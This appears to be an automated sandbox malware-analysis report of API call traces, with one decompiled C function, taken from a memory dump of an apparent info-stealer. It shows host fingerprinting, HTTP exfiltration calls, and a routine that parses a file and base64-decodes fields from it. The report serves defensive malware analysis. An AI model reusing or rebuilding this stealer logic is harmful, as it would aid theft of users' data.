lstrcat.KERNEL32(?,00418BC4), ref: 00585995
lstrcat.KERNEL32(?,XUa), ref: 005859A6
lstrcat.KERNEL32(?,00418BC0), ref: 005859B5
lstrcat.KERNEL32(?,0041A79C), ref: 005859C6
GetCurrentProcessId.KERNEL32 ref: 005859CC

Part of subcall function 0058BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0058BBB4
Part of subcall function 0058BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0058BBD5
Part of subcall function 0058BBA0: CloseHandle.KERNEL32(00000000), ref: 0058BBDF

lstrcat.KERNEL32(?,00000000), ref: 005859E0
lstrcat.KERNEL32(?,00418BC0), ref: 005859EF
lstrcat.KERNEL32(?,Xja), ref: 005859FF

Part of subcall function 0058AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00585A0A), ref: 0058AF3D
Part of subcall function 0058AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0058AF44
Part of subcall function 0058AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00585A0A), ref: 0058AF51
Part of subcall function 0058AF30: wsprintfA.USER32 ref: 0058AF7E

lstrcat.KERNEL32(?,00000000), ref: 00585A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00585A1E
lstrcat.KERNEL32(?,pja), ref: 00585A2F

Part of subcall function 0058AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058AFA0
Part of subcall function 0058AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0058AFA7
Part of subcall function 0058AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0058AFBA

lstrcat.KERNEL32(?,00000000), ref: 00585A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00585A4E
lstrcat.KERNEL32(?,xUa), ref: 00585A5F

Part of subcall function 0058B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0058B022

lstrcat.KERNEL32(?,00000000), ref: 00585A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00585A7E
lstrcat.KERNEL32(?,0041A040), ref: 00585A8E

Part of subcall function 0058B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0058B060
Part of subcall function 0058B050: RtlAllocateHeap.NTDLL(00000000), ref: 0058B067
Part of subcall function 0058B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0058B088
Part of subcall function 0058B050: LocalAlloc.KERNEL32(00000040,?), ref: 0058B0A0
Part of subcall function 0058B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0058B0B4
Part of subcall function 0058B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0058B109
Part of subcall function 0058B050: wsprintfA.USER32 ref: 0058B132
Part of subcall function 0058B050: wsprintfA.USER32 ref: 0058B150
Part of subcall function 0058B050: memset.NTDLL ref: 0058B176
Part of subcall function 0058B050: LocalFree.KERNEL32(00000000), ref: 0058B18B

lstrcat.KERNEL32(?,00000000), ref: 00585A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00585AAD
lstrcat.KERNEL32(?,0041A500), ref: 00585ABE

Part of subcall function 0058B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0058B1AA

lstrcat.KERNEL32(?,00000000), ref: 00585ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00585ADD
lstrcat.KERNEL32(?,0041A164), ref: 00585AEE

Part of subcall function 0058B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B1E4
Part of subcall function 0058B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0058B1EB
Part of subcall function 0058B1D0: RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00585AF9), ref: 0058B20B
Part of subcall function 0058B1D0: RegQueryValueExA.ADVAPI32(00585AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0058B22C
Part of subcall function 0058B1D0: RegCloseKey.ADVAPI32(00585AF9), ref: 0058B236

lstrcat.KERNEL32(?,00000000), ref: 00585AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00585B0D
lstrcat.KERNEL32(?,0041A580), ref: 00585B1D

Part of subcall function 0058B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B25D
Part of subcall function 0058B250: RtlAllocateHeap.NTDLL(00000000), ref: 0058B264
Part of subcall function 0058B250: memset.NTDLL ref: 0058B275
Part of subcall function 0058B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0058B286
Part of subcall function 0058B250: __aulldiv.LIBCMT ref: 0058B2A0
Part of subcall function 0058B250: wsprintfA.USER32 ref: 0058B2CC

lstrcat.KERNEL32(?,00000000), ref: 00585B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00585B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 00585B4D

Part of subcall function 0058B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B2F4
Part of subcall function 0058B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0058B2FB
Part of subcall function 0058B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[X), ref: 0058B31B
Part of subcall function 0058B2E0: RegQueryValueExA.ADVAPI32(X[X,0041A4DC,00000000,00000000,?,000000FF), ref: 0058B33C
Part of subcall function 0058B2E0: RegCloseKey.ADVAPI32(X[X), ref: 0058B346

lstrcat.KERNEL32(?,00000000), ref: 00585B5D
lstrcat.KERNEL32(?,0041A0A8), ref: 00585B6E

Part of subcall function 0058B360: GetCurrentProcess.KERNEL32(00000000), ref: 0058B36F
Part of subcall function 0058B360: IsWow64Process.KERNEL32(00000000), ref: 0058B376

lstrcat.KERNEL32(?,00000000), ref: 00585B7E
lstrcat.KERNEL32(?,0041A10C), ref: 00585B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00585B9E
lstrcat.KERNEL32(?,ga), ref: 00585BAF
lstrcat.KERNEL32(?,00000000), ref: 00585BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00585BCE
lstrcat.KERNEL32(?,0041A424), ref: 00585BDF

Part of subcall function 0058B3D0: wsprintfA.USER32 ref: 0058B42C

lstrcat.KERNEL32(?,00000000), ref: 00585BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00585BFE
lstrcat.KERNEL32(?,0041A75C), ref: 00585C0E

Part of subcall function 0058AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00585C19), ref: 0058AEAD
Part of subcall function 0058AEA0: RtlAllocateHeap.NTDLL(00000000,?,00585C19), ref: 0058AEB4
Part of subcall function 0058AEA0: GetComputerNameA.KERNEL32(00585C19,00000104), ref: 0058AECC

lstrcat.KERNEL32(?,00000000), ref: 00585C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00585C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 00585C3E

Part of subcall function 0058AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00585C49), ref: 0058AEFD
Part of subcall function 0058AEF0: RtlAllocateHeap.NTDLL(00000000,?,00585C49), ref: 0058AF04
Part of subcall function 0058AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0058AF1C

lstrcat.KERNEL32(?,00000000), ref: 00585C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00585C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00585C6E
lstrcat.KERNEL32(?,00000000), ref: 00585C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00585C8D
lstrcat.KERNEL32(?,0041A6C0), ref: 00585C9D

Part of subcall function 0058B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B4A4
Part of subcall function 0058B490: RtlAllocateHeap.NTDLL(00000000), ref: 0058B4AB
Part of subcall function 0058B490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00585CA8), ref: 0058B4CB
Part of subcall function 0058B490: RegQueryValueExA.ADVAPI32(00585CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0058B4EC
Part of subcall function 0058B490: RegCloseKey.ADVAPI32(00585CA8), ref: 0058B4F6

lstrcat.KERNEL32(?,00000000), ref: 00585CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00585CBC
lstrcat.KERNEL32(?,0041A074), ref: 00585CCD

Part of subcall function 0058B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0058B51D
Part of subcall function 0058B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0058B52B
Part of subcall function 0058B510: RtlAllocateHeap.NTDLL(00000000), ref: 0058B532
Part of subcall function 0058B510: memset.NTDLL ref: 0058B549
Part of subcall function 0058B510: lstrcat.KERNEL32(?,?), ref: 0058B55A

lstrcat.KERNEL32(?,00000000), ref: 00585CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00585CEC
lstrcat.KERNEL32(?,0041A31C), ref: 00585CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00585D0C
lstrlen.KERNEL32(?), ref: 00585D22

Strings

Xja, xrefs: 005859F5, 005859FA
ga, xrefs: 00585BA4, 00585BAA
xUa, xrefs: 00585A54, 00585A5A
XUa, xrefs: 0058599B, 005859A1
pja, xrefs: 00585A24, 00585A2A

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: XUa$Xja$pja$xUa$ga
API String ID: 874587921-4212756836
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: b509c9ff141edf9f305f66036abb0f61799c6446e73d35cda8270a221488241e
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 51C10BBA611504FFCB00EBE4DF89D9E77B9AF4C3457208559B205D3661CB38AA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00584E30, Relevance: 101.9, APIs: 56, Strings: 2, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00584E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00584E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00584EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00584ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00584EED
lstrcat.KERNEL32(?,00000000), ref: 00584F20
lstrcat.KERNEL32(?,00418B9C), ref: 00584F32
lstrcat.KERNEL32(?,00418BA0), ref: 00584F44
lstrcat.KERNEL32(?,?), ref: 00584F58
lstrcat.KERNEL32(?,00418BA8), ref: 00584F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00584F7C
lstrcat.KERNEL32(?, `), ref: 00584F90
lstrcat.KERNEL32(?,?), ref: 00584FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00584FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00584FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00585037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00585069
lstrcat.KERNEL32(?,00418BA0), ref: 0058508E
lstrcat.KERNEL32(?,?), ref: 005850A2
lstrcat.KERNEL32(?,00418B9C), ref: 005850B4
lstrcat.KERNEL32(?,0041A2CC), ref: 005850C8
lstrcat.KERNEL32(?,0041A058), ref: 005850DB
lstrcat.KERNEL32(?,00418BAC), ref: 005850ED
lstrcat.KERNEL32(?,?), ref: 005850FE
lstrcat.KERNEL32(?,00418B9C), ref: 00585110
lstrcat.KERNEL32(?,00418BA0), ref: 00585122
lstrcat.KERNEL32(?,?), ref: 00585136
lstrcat.KERNEL32(?,00418B9C), ref: 00585148
lstrcat.KERNEL32(?,0041A644), ref: 0058515C
lstrcat.KERNEL32(?,?), ref: 0058516D
lstrcat.KERNEL32(?,00418BB4), ref: 0058517F
lstrcat.KERNEL32(?,hda), ref: 00585192
lstrcat.KERNEL32(?,00418B9C), ref: 005851A4
lstrcat.KERNEL32(?,0041A538), ref: 005851B7
lstrcat.KERNEL32(?,00418BB8), ref: 005851C9
lstrlen.KERNEL32(?), ref: 005851D6
lstrlen.KERNEL32(?), ref: 005851E8
GetProcessHeap.KERNEL32(00000000,?), ref: 005851FF
RtlAllocateHeap.NTDLL(00000000), ref: 00585206
lstrlen.KERNEL32(?), ref: 00585219
memcpy.NTDLL(?,?,00000000), ref: 0058522E
lstrlen.KERNEL32(?,?,?), ref: 00585243
memcpy.NTDLL(?), ref: 00585250
lstrlen.KERNEL32(?), ref: 0058525D
lstrlen.KERNEL32(?,?,00000000), ref: 00585272
memcpy.NTDLL(?), ref: 00585282
lstrlen.KERNEL32(?,?,?), ref: 005852C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 005852D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 005852F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0058530B
Sleep.KERNEL32(00007530), ref: 0058531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0058536D
lstrcat.KERNEL32(?,00000000), ref: 005853A9
InternetCloseHandle.WININET(?), ref: 005853B8
InternetCloseHandle.WININET(?), ref: 005853C5
InternetCloseHandle.WININET(00000000), ref: 005853D2

Strings

hda, xrefs: 00585185, 0058518A
`, xrefs: 00584F82, 00584F88

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: `$hda
API String ID: 3074752877-3193740795
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: 6f42979a9b8039b1eba8d07976282db0316d537416d5e02e871f391476296e09
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: 34F1B6B5A41218AFCB20DFA0DD48FDA7779BF48700F0085D9F209A7181DB74AAA4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005892B0, Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 00589305
lstrcat.KERNEL32(?,00414018), ref: 00589317
lstrcat.KERNEL32(?,0041A7E4), ref: 0058932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0058935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00589381
GetFileSize.KERNEL32(00000000,00000000), ref: 00589390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005893A9
new[].LIBCMTD ref: 005893B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 005893E8
StrStrA.SHLWAPI(?,0041A170), ref: 005893F9
lstrlen.KERNEL32(0041A170), ref: 00589419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 0058943D
lstrcat.KERNEL32(0041A838,0`a), ref: 00589463
lstrcat.KERNEL32(0041A838,?), ref: 00589474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00589486
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00589499
lstrcat.KERNEL32(0041A838,00000020), ref: 005894A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005894BB
lstrcat.KERNEL32(0041A838, _a), ref: 005894CE
lstrcat.KERNEL32(0041A838,00000000), ref: 005894E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005894F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0058950A
lstrlen.KERNEL32(0041A5B8), ref: 00589518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00589536
lstrcat.KERNEL32(0041A838,0_a), ref: 0058955B

Part of subcall function 005879F0: lstrlen.KERNEL32(0058956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00587A3B
Part of subcall function 005879F0: CryptStringToBinaryA.CRYPT32(0058956D,00000000), ref: 00587A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00589578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00589589
StrStrA.SHLWAPI(?,0041A5B4), ref: 005895A0
lstrlen.KERNEL32(0041A5B4), ref: 005895AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 005895CC
lstrcat.KERNEL32(0041A838,`_a), ref: 005895F1

Part of subcall function 005879F0: lstrcat.KERNEL32(?,0041401A), ref: 00587B09
Part of subcall function 005879F0: lstrcat.KERNEL32(?,0041401A), ref: 00587B1D
Part of subcall function 005879F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00587B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0058960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0058961F
CloseHandle.KERNEL32(00000000), ref: 0058963D

Strings

_a, xrefs: 005894C1, 005894C7
, xrefs: 005892DF
0_a, xrefs: 0058954E, 00589554
`_a, xrefs: 005895E4, 005895EA
0`a, xrefs: 00589455, 0058945B

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $ _a$0_a$0`a$`_a
API String ID: 3141130001-667889263
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: 2ec8b26e982f8d50381a41e41867271e9943e63df3bf1a0d1d98cb942aac1b97
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: 5CA119B5A11208AFCB15EBA4DD88FDA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x6188a8
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x6187b8
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x6187b8
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x6187e8
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x616030
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133,  *0x41a37c);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x615f20
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x618ae8
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x618ae8
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x618c68
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x615f30
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x618c68
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x618c68
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_v288 = StrStrA(_v296,  *0x41a70c) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x615f60
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,00617698), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,006188A8), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,006187B8), ref: 004091A9
lstrlen.KERNEL32(006187B8), ref: 004091C9
StrStrA.SHLWAPI(00000000,006187E8), ref: 004091ED
lstrcat.KERNEL32(00000000,00616030), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,006160F0), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00615F20), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,00618AE8), ref: 004092BA
lstrlen.KERNEL32(00618AE8), ref: 004092C8
StrStrA.SHLWAPI(00000000,00618C68), ref: 004092E6
lstrcat.KERNEL32(00000000,00615F30), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,00618C68), ref: 00409350
lstrlen.KERNEL32(00618C68), ref: 0040935E
StrStrA.SHLWAPI(00000000,006194E0), ref: 0040937C
lstrcat.KERNEL32(00000000,00615F60), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

`_a, xrefs: 00409394
0_a, xrefs: 004092FE
, xrefs: 0040908F
_a, xrefs: 00409271
0`a, xrefs: 00409205

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $ _a$0_a$0`a$`_a
API String ID: 3141130001-667889263
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00618038), ref: 00406CAA

Strings

`_a, xrefs: 00406EA3, 00406F68
0_a, xrefs: 00406E6B
_a, xrefs: 00406E31, 00406EDF
0`a, xrefs: 00406DD4
`a, xrefs: 00406E0C

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: LibraryLoadVersion
String ID: _a$0_a$0`a$`_a$`a
API String ID: 3209957514-564449568
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00587D10, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

